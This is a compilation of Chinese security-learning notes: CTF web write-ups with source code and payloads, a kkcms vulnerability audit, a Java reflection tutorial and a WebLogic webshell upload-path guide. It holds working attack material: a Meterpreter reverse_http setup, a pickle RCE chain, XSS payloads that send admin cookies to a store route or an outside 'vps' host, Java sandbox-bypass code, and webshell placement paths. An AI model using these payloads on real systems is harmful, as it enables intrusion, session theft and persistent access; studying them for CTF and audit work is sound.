background
use payload payload/windows/meterpreter/reverse_http
set lhost 192.168.116.131
set lport 9001
run

cs新建一个foreing http监听设置和msf的设置一样,然后cs新建会话到这个监听器即可。


其实不止这么多,包括进程迁移,票据之类的一个cs全部搞定了就,但是我还是想尝试一下怎么用纯手动打靶而且打靶环境过于理想完全没有考虑过流量特征的问题,有机会了补一篇,内网的学习路漫漫。

web复盘一下吧只做出来了两道,所有题都有一点思路,但是只有一点点可惜可惜,太可惜了。

capoo

这是个非预期,capoo.php可以任意文件读取,能读取到start.sh,start.sh中泄露了flag的名字,直接读取就行

ez_picker

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
#源码
from sanic import Sanic
from sanic.response import json,file as file_,text,redirect
from sanic_cors import CORS
from key import secret_key
import os
import pickle
import time
import jwt
import io
import builtins
app = Sanic("App")
pickle_file = "data.pkl"
my_object = {}
users = []

safe_modules = {
'math',
'datetime',
'json',
'collections',
}

safe_names = {
'sqrt', 'pow', 'sin', 'cos', 'tan',
'date', 'datetime', 'timedelta', 'timezone',
'loads', 'dumps',
'namedtuple', 'deque', 'Counter', 'defaultdict'
}

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in safe_modules and name in safe_names:
return getattr(builtins, name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %(module, name))

def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

CORS(app, supports_credentials=True, origins=["http://localhost:8000", "http://127.0.0.1:8000"])
class User:
def __init__(self,username,password):
self.username=username
self.password=password


def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

def token_required(func):
async def wrapper(request, *args, **kwargs):
token = request.cookies.get("token")
if not token:
return redirect('/login')
try:
result=jwt.decode(token, str(secret_key), algorithms=['HS256'], options={"verify_signature": True})
except jwt.ExpiredSignatureError:
return json({"status": "fail", "message": "Token expired"}, status=401)
except jwt.InvalidTokenError:
return json({"status": "fail", "message": "Invalid token"}, status=401)
print(result)
if result["role"]!="admin":
return json({"status": "fail", "message": "Permission Denied"}, status=401)
return await func(request, *args, **kwargs)
return wrapper

@app.route('/', methods=["GET"])
def file_reader(request):
file = "app.py"
with open(file, 'r') as f:
content = f.read()
return text(content)

@app.route('/upload', methods=["GET","POST"])
@token_required
async def upload(request):
if request.method=="GET":
return await file_('templates/upload.html')
if not request.files:
return text("No file provided", status=400)

file = request.files.get('file')
file_object = file[0] if isinstance(file, list) else file
try:
new_data = restricted_loads(file_object.body)
try:
my_object.update(new_data)
except:
return json({"status": "success", "message": "Pickle object loaded but not updated"})
with open(pickle_file, "wb") as f:
pickle.dump(my_object, f)

return json({"status": "success", "message": "Pickle object updated"})
except pickle.UnpicklingError:
return text("Dangerous pickle file", status=400)

@app.route('/register', methods=['GET','POST'])
async def register(request):
if request.method=='GET':
return await file_('templates/register.html')
if request.json:
NewUser=User("username","password")
merge(request.json, NewUser)
users.append(NewUser)
else:
return json({"status": "fail", "message": "Invalid request"}, status=400)
return json({"status": "success", "message": "Register Success!","redirect": "/login"})

@app.route('/login', methods=['GET','POST'])
async def login(request):
if request.method=='GET':
return await file_('templates/login.html')
if request.json:
username = request.json.get("username")
password = request.json.get("password")
if not username or not password:
return json({"status": "fail", "message": "Username or password missing"}, status=400)
user = next((u for u in users if u.username == username), None)
if user:
if user.password == password:
data={"user":username,"role":"guest"}
data['exp'] = int(time.time()) + 60 *5
token = jwt.encode(data, str(secret_key), algorithm='HS256')
response = json({"status": "success", "redirect": "/upload"})
response.cookies["token"]=token
response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')
return response
else:
return json({"status": "fail", "message": "Invalid password"}, status=400)
else:
return json({"status": "fail", "message": "User not found"}, status=404)
return json({"status": "fail", "message": "Invalid request"}, status=400)

if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)

考点就是原型链污染+pickle反序列化+jwt伪造,我当时感觉最难的是那个pickle反序列化,因为他是白名单虽然可以通过原型链污染进行修改但是这是由于对原理以及内建模块的不熟悉导致的,其实只需要把用到的模块和命令加入就行比如builtinsgetattrpopen加入就好了

1
2
3
4
5
6
7
8
9
#污染链
{"__init__":{
        "__globals__":{
            "secret_key":"66666",
            "safe_modules":["os"],
            "safe_names":["eval"],
        }
    }
}
1
2
3
4
5
#pickle链
b'''(cos
eval
S'os.system(\"calc\")'
o.'''

Spreader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# app.js
const express = require('express');
const session = require('express-session');
const stringRandom = require('string-random');
const bodyParser = require('body-parser');
const app = express();
const port = 3000;
const AdminPassWord=stringRandom(16, { numbers: true })
const PrivilegedPassWord=stringRandom(16, { numbers: true })
const PlainPassWord=stringRandom(16, { numbers: true })
const secret_key=stringRandom(16, { numbers: true })
const users = [];
const posts = [];
const store = [];
users.push({ username:"admin", password:AdminPassWord, role: "admin" });
users.push({ username:"privileged", password:PrivilegedPassWord, role: "privileged" });
users.push({ username:"plain", password:PlainPassWord, role: "plain" });
console.log(users)
app.use(express.static('views'));
app.set('view engine', 'ejs');
app.use(bodyParser.urlencoded({ extended: true }));
app.use(session({
secret: secret_key,
resave: false,
saveUninitialized: true,
cookie: {
httpOnly: false,
secure: false,
}
}));


app.use('/', require('./index')(users,posts,store,AdminPassWord,PrivilegedPassWord));

app.listen(port, () => {
console.log(`App is running on http://localhost:${port}`);
});

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#bot.js
const puppeteer = require('puppeteer');

async function triggerXSS(UserName, PassWord) {
const browser = await puppeteer.launch({
args: ['--no-sandbox', '--disable-setuid-sandbox'],
executablePath: '/usr/bin/chromium',
headless: true
});

const page = await browser.newPage();

await page.goto('http://localhost:3000/login');

await page.type('input[name="username"]', UserName);
await page.type('input[name="password"]', PassWord);

await page.click('button[type="submit"]');

await page.goto('http://localhost:3000/');

await browser.close();

return;
}

module.exports = { triggerXSS };

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#index.js
const fs = require('fs');
const express = require('express');
const router = express.Router();
const { triggerXSS } = require('../bot');
const { Store } = require('express-session');
function isAuthenticated(req, res, next) {
if (req.session.user) {
next();
} else {
res.redirect('/login');
}
}
module.exports = (users,posts,store,AdminPassWord,PrivilegedPassWord) => {

const ROLES = {
PLAIN: "plain",
PRIVILEGED: "privileged",
ADMIN: "admin",
};

router.get('/register', (req, res) => {
res.sendFile('register.html', { root: './views' });
});

router.post('/register', (req, res) => {
const { username, password, role } = req.body;
const userExists = users.some(u => u.username === username);
if (userExists) {
return res.send('Username already exists!');
}
users.push({ username, password, role: "plain" });
res.redirect('/login');
});
router.get('/login', (req, res) => {
res.sendFile('login.html', { root: './views' });
});

router.post('/login', (req, res) => {
const { username, password } = req.body;
console.log(username);
console.log(password);
const user = users.find(u => u.username === username && u.password === password);
if (user) {
req.session.user = user;
res.redirect('/');
} else {
res.send('Invalid credentials!');
}
});
router.get('/', isAuthenticated, (req, res) => {
const currentUser = req.session.user;
let filteredPosts = [];
if (currentUser.role === ROLES.ADMIN) {
filteredPosts = posts.filter(p => p.role === ROLES.PRIVILEGED || p.role === ROLES.ADMIN);
} else if (currentUser.role === ROLES.PRIVILEGED) {
filteredPosts = posts.filter(p => p.role === ROLES.PLAIN || p.role === ROLES.PRIVILEGED);
} else {
filteredPosts = posts.filter(p => p.role === ROLES.PLAIN);
}
res.render(`${currentUser.role}`, { posts: filteredPosts, user: currentUser });
});
router.post('/post', isAuthenticated, (req, res) => {
let { content } = req.body;

const scriptTagRegex = /<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi;
content = content.replace(scriptTagRegex, '[XSS attempt blocked]');

const eventHandlerRegex = /on\w+\s*=\s*(["']).*?\1/gi;
content = content.replace(eventHandlerRegex, '[XSS attempt blocked]');

const javascriptURLRegex = /(?:href|src)\s*=\s*(["'])\s*javascript:.*?\1/gi;
content = content.replace(javascriptURLRegex, '[XSS attempt blocked]');

const dataURLRegex = /(?:href|src)\s*=\s*(["'])\s*data:.*?\1/gi;
content = content.replace(dataURLRegex, '[XSS attempt blocked]');

const cssExpressionRegex = /style\s*=\s*(["']).*?expression\([^>]*?\).*?\1/gi;
content = content.replace(cssExpressionRegex, '[XSS attempt blocked]');

const dangerousTagsRegex = /<\/?(?:iframe|object|embed|link|meta|svg|base|source|form|input|video|audio|textarea|button|frame|frameset|applet)[^>]*?>/gi;
content = content.replace(dangerousTagsRegex, '[XSS attempt blocked]');

const dangerousAttributesRegex = /\b(?:style|srcset|formaction|xlink:href|contenteditable|xmlns)\s*=\s*(["']).*?\1/gi;
content = content.replace(dangerousAttributesRegex, '[XSS attempt blocked]');

const dangerousProtocolsRegex = /(?:href|src)\s*=\s*(["'])(?:\s*javascript:|vbscript:|file:|data:|filesystem:).*?\1/gi;
content = content.replace(dangerousProtocolsRegex, '[XSS attempt blocked]');

const dangerousFunctionsRegex = /\b(?:eval|alert|prompt|confirm|console\.log|Function)\s*\(/gi;
content = content.replace(dangerousFunctionsRegex, '[XSS attempt blocked]');

posts.push({ content: content, username: req.session.user.username, role: req.session.user.role });
res.redirect('/');
});


router.get('/logout', (req, res) => {
req.session.destroy();
res.redirect('/login');
});
router.get('/report_admin', async (req, res) => {
try {
await triggerXSS("admin",AdminPassWord);
res.send(`Admin Bot successfully logged in.`);
} catch (error) {
console.error('Error Reporting:', error);
res.send(`Admin Bot successfully logged in.`);
}
});
router.get('/report_privileged', async (req, res) => {
try {
await triggerXSS("privileged",PrivilegedPassWord);
res.send(`Privileged Bot successfully logged in.`);
} catch (error) {
console.error('Error Reporting:', error);
res.send(`Privileged Bot successfully logged in.`);
}
});
router.get('/store', async (req, res) => {
return res.status(200).json(store);
});
router.post('/store', async (req, res) => {
if (req.body) {
store.push(req.body);
return res.status(200).send('Data stored successfully');
} else {
return res.status(400).send('No data received');
}
});
router.get('/flag', async (req, res) => {
try {
if (req.session.user && req.session.user.role === "admin") {
fs.readFile('/flag', 'utf8', (err, data) => {
if (err) {
console.error('Error reading flag file:', err);
return res.status(500).send('Internal Server Error');
}
res.send(`Your Flag Here: ${data}`);
});
} else {
res.status(403).send('Unauthorized!');
}
} catch (error) {
console.error('Error fetching flag:', error);
res.status(500).send('Internal Server Error');
}
});
return router;
};

这个题一眼xss嘛,然后有两种解题思路,一个是插入js代码利用/store路由,然后访问/report_privileged将privilege用户的cookie储存到/store中,然后同样的步骤再来一次获取admin的cookie

1
2
<script>fetch('/store',{body:"''p"+`rivileged_cookie''=`+encodeURIComponent(document.cookie),method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'}})</script
>

或者就是直接弹出privilege和admin的cookie

1
<img src="" onerror=document.location='http://vps:port?cookie='+document.cookie />

OnlineRunner

这道题没有办法用import的方式来导入类,能执行命令的都不能用,反射也没有办法直接执行命令,看别的师傅是要绕过一个沙箱

探索Java RASP Bypass新姿势

这里我还是有点懵,直接贴别的师傅的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
String[] files = {"/proc/net/tcp""/proc/net/tcp6"};
        for (int f = 0; f < files.length; f++) {
            try {
                java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.FileReader(files[f]));
                String line;
                reader.readLine(); // Skip header line
                while ((line = reader.readLine()) != null) {
                    line = line.trim();
                    String[] parts = line.split("\\s+");
                    if (parts.length > 3) {
                        String local_address = parts[1];
                        String state = parts[3];
                        // State 0A means LISTEN
                        if (state.equals("0A")) {
                            String[] addrPort = local_address.split(":");
                            String ipHex = addrPort[0];
                            String portHex = addrPort[1];
                            String ip = "";
                            if (files[f].endsWith("tcp6")) {
                                // IPv6 address parsing
                                StringBuilder ipBuilder = new StringBuilder();
                                for (int i = ipHex.length(); i > 0; i -= 8) {
                                    String segment = ipHex.substring(Math.max(i - 80), i);
                                    StringBuilder segBuilder = new StringBuilder();
                                    for (int j = segment.length(); j > 0; j -= 2) {
                                        segBuilder.append(segment.substring(j - 2, j));
                                    }
                                    ipBuilder.insert(0, segBuilder.toString());
                                    if (i > 8) {
                                        ipBuilder.insert(0":");
                                    }
                                }
                                ip = ipBuilder.toString();
                            } else {
                                // IPv4 address parsing
                                StringBuilder ipBuilder = new StringBuilder();
                                for (int i = ipHex.length(); i > 0; i -= 2) {
                                    String part = ipHex.substring(i - 2, i);
                                    int num = Integer.parseInt(part, 16);
                                    ipBuilder.insert(0, num);
                                    if (i > 2) {
                                        ipBuilder.insert(0".");
                                    }
                                }
                                ip = ipBuilder.toString();
                            }
                            int port = Integer.parseInt(portHex, 16);
                            System.out.println("Listening on " + ip + ":" + port);
                        }
                    }
                }
                reader.close();
            } catch (java.io.IOException e) {
                System.out.println(e);
            }
        }
try {
            java.net.URL url = new java.net.URL("http://127.0.0.1:46461/sandbox/default/module/http/sandbox-control/shutdown");
            java.net.HttpURLConnection connection = (java.net.HttpURLConnection) url.openConnection();
            connection.setRequestMethod("GET");
            java.io.BufferedReader reader = new java.io.BufferedReader(
                new java.io.InputStreamReader(connection.getInputStream())
            );
            String line;
            StringBuilder response = new StringBuilder();
            while ((line = reader.readLine()) != null) {
                response.append(line).append("\n");
            }
            reader.close();
            connection.disconnect();
            System.out.println(response.toString()); System.out.println(connection.getResponseCode());
        } catch (java.io.IOException e) {
            System.out.println(e);
        }
 try {
            String command = "/readflag"// Use "dir" on Windows
            java.lang.Process process = java.lang.Runtime.getRuntime().exec(command);
            java.io.BufferedReader reader = new java.io.BufferedReader(
                new java.io.InputStreamReader(process.getInputStream())
            );
            String line;
            while ((line = reader.readLine()) != null) {
                System.out.println(line);
            }
            reader.close();
            process.waitFor();
        } catch (Exception e) {
            e.printStackTrace();
        }

/*try{

java.io.File folder = new java.io.File("/home");
        if (!folder.isDirectory()) {
            System.out.println("Provided path is not a folder");
            return;
        }
        java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
        java.util.zip.ZipOutputStream zos = new java.util.zip.ZipOutputStream(baos);
        java.util.Stack<java.io.File> stack = new java.util.Stack<java.io.File>();
        stack.push(folder);
        while (!stack.isEmpty()) {
            java.io.File currentFile = stack.pop();
            if (currentFile.isDirectory()) {
                java.io.File[] fileList = currentFile.listFiles();
                if (fileList != null) {
                    for (int i = 0; i < fileList.length; i++) {
                        stack.push(fileList[i]);
                    }
                }
            } else {
                java.io.FileInputStream fis = new java.io.FileInputStream(currentFile);
                String zipEntryName = currentFile.getAbsolutePath().substring(folder.getAbsolutePath().length() + 1);
                zos.putNextEntry(new java.util.zip.ZipEntry(zipEntryName));
                byte[] buffer = new byte[1024];
                int length;
                while ((length = fis.read(buffer)) > 0) {
                    zos.write(buffer, 0, length);
                }
                fis.close();
                zos.closeEntry();
            }
        }
        zos.close();
        byte[] zipBytes = baos.toByteArray();
        StringBuilder hexString = new StringBuilder();
        for (int i = 0; i < zipBytes.length; i++) {
            String hex = Integer.toHexString(0xff & zipBytes[i]);
            if (hex.length() == 1) hexString.append('0');
            hexString.append(hex);
        }
        System.out.println(hexString.toString());

}catch(Exception e){System.out.println(e);}*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#读取文件

try {                  
    java.io.File file = new java.io.File("/home/ctf/sandbox/lib/sandbox-agent.jar"); // 需要读取的二进制文件    
    java.io.BufferedInputStream bis = new java.io.BufferedInputStream(new java.io.FileInputStream(file));                  
            byte[] buffer = new byte[1024]; // 创建一个字节数组作为缓冲区                  
            int bytesRead;                       
            while ((bytesRead = bis.read(buffer)) != -1) { // 循环读取                  
                // 处理读取的数据(这里可以进行打印、处理等)                  
                //System.out.write(buffer, 0, bytesRead);                  
System.out.print('"');                  
                System.out.print(java.util.Base64.getEncoder().encodeToString(buffer));                  
System.out.println("\",");                  
      }                                   
        } catch (                  
java.io.IOException e) {                  
            e.printStackTrace();                  
        }

其实比赛的时候想过用base64将文件编码读取,但是因为数据过大导致网页卡死了就没有继续想过了


唉,还得继续学,太菜了

环境安装

源码下载地址:https://github.com/erichuang2015/kkcms

php5.6 .9+mysql5.7.26+apache2.4.39

审计

验证码复用

1
<img src="../system/verifycode.php" onclick="javascript:this.src='../system/verifycode.php?'+Math.random()" style="cursor:pointer;" alt="点击更换" title="点击更换" />

这串代码用来执行js代码更换验证码,但是bp它默认不加载js,所以造成了验证码复用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
session_start();
$image = imagecreate(50, 34);
$bcolor = imagecolorallocate($image, 0, 0, 0);
$fcolor = imagecolorallocate($image, 255, 255, 255);
$str = '0123456789';
$rand_str = '';
for ($i = 0; $i < 4; $i++){
$k = mt_rand(1, strlen($str));
$rand_str .= $str[$k - 1];
}
$_SESSION['verifycode'] = $rand_str;
imagefill($image, 0, 0, $bcolor);
imagestring($image, 7, 7, 10, $rand_str, $fcolor);
header('content-type:image/png');
imagepng($image);
?>

verifycode.php的代码,就是生成一个随机的4位0-9的图片验证码

文件上传

这个cms默认用的编辑器是KindEditor,版本是4.1.10,构造payload

1
<html><form enctype="multipart/form-data" action="http://127.0.0.1/editor/php/upload_json.php" method="post"> Upload a new file:<br> <input type="file" name="imgFile" size="50"><br> <input type="submit" value="Upload"> </form></html>

可以直接上传文件,但是没什么用。

而且他有白名单,只能上传指定的后缀文件。

前台sql注入

template\wapian\vlist.php这里

我们可以看到他没有任何的防护,但其实是有防护的,vlist.php里包含了system/inc.php,而inc.php中有一个转义的函数

但是这里为什么可以注入呢?是因为这里是数字型注入,没有用双引号包裹,自然也不用双引号进行闭合,addslashes也就没起上作用,放进sqlmap里就可以跑出来。

前台sql注入2

在ucenter\reg.php里

这里为什么可以注入呢?这里是因为他有一个stripslashes函数,它会删除由addslashes添加上的斜杠,放进sqlmap里跑

也是可以跑出来盲注。搜索stripslashes关键字,可以找到repass.php和active.php同样有注入。

后台sql注入

在cms_usergroup_edit.php处

修改会员级别处有盲注,但是sql跑不出来不知道为什么。然后和此处一样的还有cms_ad_edit.php、cms_admin_edit.php、cms_book_edit.php、cms_channel_edit.php

还有一处

这里有delete注入,整个后台的delete语句全是这样写的。


XSS漏洞就不审计了,这个cms就这样吧,一个比较简单的cms。

什么是反射

反射是大多数语言都必不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有⽅法(包括私有),拿到的⽅法可以调⽤,总之通过“反射”,我们可以将 Java 这种静态语⾔附加上动态特性。

Java反射组成相关的类

java.lang.Class:类对象;

java.lang.reflect.Constructor:类的构造器对象;

java.lang.reflect.Field:类的属性对象;

java.lang.reflect.Method:类的方法对象;

实例化对象的方法

实例化对象的getClass()方法

如果上下⽂中存在某个类的实例 obj,那么我们可以通过 obj.getClass 来获取它的类。

使用类的 .class 方法

如果你已经加载了某个类,只是想获取到它的 java.lang.Class 对象,那么就直接拿它的 class 属性即可。这个⽅法其实不属于反射。

Class.forName(String className):动态加载类

如果你知道某个类的名字,想获取到这个类,就可以使⽤ forName 来获取,后续要利用的话是需要实例化的。

获取成员变量Field

获取成员变量Field位于 java.lang.reflect.Field 包中

Field[] getFields() :获取所有 public 修饰的成员变量

Field[] getDeclaredFields() 获取所有的成员变量,不考虑修饰符

Field getField(String name) 获取指定名称的 public 修饰的成员变量

Field getDeclaredField(String name) 获取指定的成员变量

获取成员方法 Method

1
2
3
4
5
6
7
8
9
Method getMethod(String name, 类<?>... parameterTypes) //返回该类所声明的public方法

Method getDeclaredMethod(String name, 类<?>... parameterTypes) //返回该类所声明的所有方法

//第一个参数获取该方法的名字,第二个参数获取标识该方法的参数类型

Method[] getMethods() //获取所有的public方法,包括类自身声明的public方法,父类中的public方法、实现的接口方法

Method[] getDeclaredMethods() // 获取该类中的所有方法

获取构造函数 Constructor

1
2
3
4
5
6
7
Constructor<?>[] getConstructors() :只返回public构造函数

Constructor<?>[] getDeclaredConstructors() :返回所有构造函数

Constructor<> getConstructor(类<?>... parameterTypes) : 匹配和参数配型相符的public构造函数

Constructor<> getDeclaredConstructor(类<?>... parameterTypes) : 匹配和参数配型相符的构造函数

命令执行

获取 class 实例 之后

  • 获取类名:forName()
  • 创建对应类型的实例:newInstance()
  • 获取字段的值:get()、设置字段的值:set()
  • 获取方法:getMethod()、调用方法:invoke()

基本知识就是这些,如何执行命令呢,举个例子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package src;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class FinalReflectionCalc {
public static void main(String[] args) throws Exception{
Class c1 = Class.forName("java.lang.Runtime");//创建一个runtime的方法
Method c2 = c1.getDeclaredMethod("getRuntime");//获取getRuntime的方法
c2.setAccessible(true);//使getRuntime可访问,因为getRuntime是私有属性
Object o1 = c2.invoke(null);//调用静态方法,无需实例
Method m1 = c1.getDeclaredMethod("exec",String.class);//获取exec方法
m1.invoke(o1,"calc");//弹计算器
}
}

这是调用静态方法,不需要实例

当然也可以实现一个新实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package src;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class FinalReflectionCalc {
public static void main(String[] args) throws Exception{
Class c1 = Class.forName("java.lang.Runtime");//获取Runtime的Class对象
Constructor c2=c1.getDeclaredConstructor();//获取Runtime类的无参构造函数
c2.setAccessible(true);//使getRuntime可访问
Object c3=c2.newInstance();//创建Runtime的新实例
Method exec = c1.getDeclaredMethod("exec", String.class);
exec.invoke(c3,"calc");//弹计算器

}
}

Java反序列化基础篇-02-Java反射与URLDNS链分析参考链接,写的很清晰

Java反射


Java反射修改字段

private

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package src;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class PrivateReflect {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InstantiationException, InvocationTargetException, InvocationTargetException {
Class c = Class.forName("src.PrivatePerson");
Object m = c.newInstance();
Method PrintMethod = c.getDeclaredMethod("printName");
PrintMethod.invoke(m);
Field nameField = c.getDeclaredField("name");
nameField.setAccessible(true);
nameField.set(m, new StringBuilder("aaaaa"));
PrintMethod.invoke(m);
}
}
1
2
3
4
5
6
7
8
9
package src;

public class PrivatePerson {
private StringBuilder name = new StringBuilder("lll");

public void printName() {
System.out.println(name);
}
}

static单独出现的话,用getDeclaredField也可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package src;

import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class PrivateReflect {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InstantiationException, InvocationTargetException, InvocationTargetException {
Class c = Class.forName("src.PrivatePerson");
Object m =c.newInstance();
Method f = c.getDeclaredMethod("printName");
f.invoke(m);
Field ff=c.getDeclaredField("name");
ff.setAccessible(true);
ff.set(m,new StringBuilder("lvzhouhang"));
f.invoke(m);
}
}

final

final 字段能否修改,有且取决于字段是直接赋值还是间接赋值(编译时赋值和运行时赋值的区别)。直接赋值是指在创建字段时就对字段进行赋值,并且值为 JAVA 的 8 种基础数据类型或者 String 类型,而且值不能是经过逻辑判断产生的,其他情况均为间接赋值。

直接赋值

1
2
3
4
5
6
7
8
9
10
11
12
package src;

public class FinalStraightPerson {

private final String name = "lvzhouhang";
public final int age = 21-1;

public void printInfo() {
System.out.println(name+" "+age);

}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package src;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class FinalStraightReflect {
public static void main(String[] args) throws Exception {
Class c = Class.forName("src.FinalStraightPerson");
Object m = c.newInstance();
Method printMethod = c.getDeclaredMethod("printInfo");
printMethod.invoke(m);

Field nameField = c.getDeclaredField("name");
Field ageField = c.getDeclaredField("age");
nameField.setAccessible(true);
ageField.setAccessible(true);
nameField.set(m,"lvzhouhang");
ageField.set(m,"20");

printMethod.invoke(m);
}
}

这样通过反射修改会报错

1
2
3
4
5
6
Exception in thread "main" java.lang.IllegalArgumentException: Can not set final int field src.FinalStraightPerson.age to java.lang.String
at sun.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167)
at sun.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171)
at sun.reflect.UnsafeQualifiedIntegerFieldAccessorImpl.set(UnsafeQualifiedIntegerFieldAccessorImpl.java:100)
at java.lang.reflect.Field.set(Field.java:764)
at src.FinalStraightReflect.main(FinalStraightReflect.java:18)

为什么呢?

因为JVM在编译时期, 就把final类型的String进行了优化, 在编译时期就会把String处理成常量,只要是让name的值经过运行才能获得, 那么就不会被处理为常量。

间接修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package src;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class InDirectReflect {
public static void main(String[] args) throws Exception {
Class c = Class.forName("src.InDirectPerson");
Object m = c.newInstance();
Method printMethod = c.getDeclaredMethod("printInfo");
printMethod.invoke(m);

Field nameField = c.getDeclaredField("name");
Field ageField = c.getDeclaredField("age");
Field sexField = c.getDeclaredField("sex");
nameField.setAccessible(true);
ageField.setAccessible(true);
sexField.setAccessible(true);
nameField.set(m,"lvzhouhang");
ageField.set(m,200);
sexField.set(m,new StringBuilder("female"));
printMethod.invoke(m);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package src;

public class InDirectPerson {
private final StringBuilder sex = new StringBuilder("male");
// 经过逻辑判断产生的变量赋值
public final int age = (null!=null?20:20);
// 通过构造函数进行赋值
private final String name;
public InDirectPerson(){
name = "lvzhouhang";
}

public void printInfo() {
System.out.println(name+" "+age+" "+sex);

}
}

这样就修改成功了

static+final

1
2
3
4
5
6
7
8
9
10
package src;

public class finalstaticreflection {
private final static StringBuilder name = new StringBuilder("lvzhouhang");

public void printName() {
System.out.println(name);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package src;

import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class finalstaticflectioncalc {
public static void main(String[] args) throws Exception{
finalstaticreflection c = new finalstaticreflection();
Method m = c.getClass().getDeclaredMethod("printName");
m.invoke(c);
Field f = c.getClass().getField("name");
f.setAccessible(true);
f.set(c,new StringBuilder("lllllvzhouhang"));
m.invoke(c);
}

}

这样使修改不成功的,但是还是可以修改,通过反射将name字段取出来后将final修饰符去掉就可以修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package src;

import com.sun.org.apache.xpath.internal.operations.Mod;

import java.io.File;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;

public class finalstaticflectioncalc {
public static void main(String[] args) throws Exception{
finalstaticreflection c = new finalstaticreflection();
Method m = c.getClass().getDeclaredMethod("printName");
c.printName();
Field f = c.getClass().getDeclaredField("name");
f.setAccessible(true);
Field ff = f.getClass().getDeclaredField("modifiers");
ff.setAccessible(true);
ff.setInt(f,f.getModifiers() & ~Modifier.FINAL);//去掉final修饰符
f.set(c,new StringBuilder("lllllvzhouhang"));
ff.setInt(f,f.getModifiers() & ~Modifier.FINAL);//加上final修饰符
c.printName();
}

}

这样就成功修改了

weblogic上传木马路径选择

对于反序列化漏洞,如果获得的是系统权限或者root权限,那就没必要上传木马,但如果只是web安装应用的权限,就上传获取更大权限。

上传需要找到几个点,获取物理路径,如下面三种:

  • 方法1:把shell写到控制台images目录中
    \Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp 目录上传木马,
    访问 http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp
    img
    img

  • 方法2:写到uddiexplorer目录中
    \Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp 目录写入木马,
